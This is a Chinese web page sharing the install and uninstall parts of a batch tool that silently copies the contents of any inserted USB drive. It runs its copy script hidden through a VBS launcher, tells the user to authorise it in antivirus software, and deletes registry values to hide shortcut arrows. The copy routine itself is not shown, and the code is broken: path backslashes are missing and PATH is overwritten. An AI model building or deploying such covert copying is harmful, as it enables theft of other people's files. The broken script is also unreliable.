判断U盘已插入并自动COPY所有内容的批处理-U盘自动复制

2019-01-30 13:02:55王冬梅



:install
rem ==============================安装程序=============================
if exist %temp%copy.cmd del /Q /f "%temp%copy.cmd"
copy copy.cmd "%temp%copy.cmd" >nul 2>nul
copy sleep.exe "%temp%sleep.exe" >nul 2>nul
rem ==============================隐藏窗口=============================
if exist %temp%hide.vbs del /Q %temp%hide.vbs
echo.
echo 如果你计算机安装有杀毒软件,请授权此VBS代码
reg delete "HKEY_CLASSES_ROOTlnkfile" /v IsShortcut /f >nul 2>nul
reg delete "HKEY_CLASSES_ROOTpiffile" /v IsShortcut /f >nul 2>nul
set path=%temp%copy.cmd
echo set ws=WScript.CreateObject("WScript.Shell") >"%temp%hide.vbs"
echo ws.Run "%path%",0 >>%temp%hide.vbs
rem ==============================建立终止=============================
echo @echo off >%temp%kill.cmd
echo mode con: cols=20 lines=2 >>%temp%kill.cmd
echo echo                    程序已经成功终止!>>%temp%kill.cmd
echo pause ^>nul 2^>nul >>%temp%kill.cmd
echo tskill ping ^>nul 2^>nul >>%temp%kill.cmd
echo tskill xcopy ^>nul 2^>nul >>%temp%kill.cmd
echo tskill sleep ^>nul 2^>nul >>%temp%kill.cmd
echo tskill cmd ^>nul 2^>nul >>%temp%kill.cmd
echo exit ^>nul 2^>nul >>%temp%kill.cmd
rem ==============================建立快捷=============================
:shutcut
echo.
if not exist "%temp%hide.vbs" goto start
set path2=%temp%hide.vbs
echo [InternetShortcut] >>U盘自动复制.url
echo URL="%path2%" >>U盘自动复制.url
echo IconIndex=29 >>U盘自动复制.url
echo IconFile=C:windowssystem32shell32.dll >>U盘自动复制.url
set path3=%temp%kill.cmd
echo [InternetShortcut] >>终止U盘自动复制.url
echo URL="%path3%" >>终止U盘自动复制.url
echo IconIndex=29 >>终止U盘自动复制.url
echo IconFile=C:windowssystem32shell32.dll >>终止U盘自动复制.url
echo 成功结束!请直接运行快捷方式!
pause >nul 2>nul
goto start
rem ==============================安装结束=============================


:uninstall
rem ==============================卸载程序=============================
echo.
tskill ping >nul 2>nul
tskill xcopy >nul 2>nul
tskill sleep >nul 2>nul
del /Q /f "%temp%copy.cmd" >nul 2>nul
del /Q /f "%temp%hide.vbs" >nul 2>nul
del /Q /f "%temp%copy.tmp" >nul 2>nul
del /Q /f "%temp%sleep.exe" >nul 2>nul
del /Q /f "%temp%kill.cmd" >nul 2>nul
del /Q /f U盘自动复制.url >nul 2>nul
del /Q /f 终止U盘自动复制.url >nul 2>nul
echo 程序已经成功卸载!
reg add "HKEY_CLASSES_ROOTlnkfile" /v IsShortcut /f >nul 2>nul
reg add "HKEY_CLASSES_ROOTpiffile" /v IsShortcut /f >nul 2>nul
pause >nul 2>nul
goto start
rem ==============================卸载结束=============================
相关文章 大家在看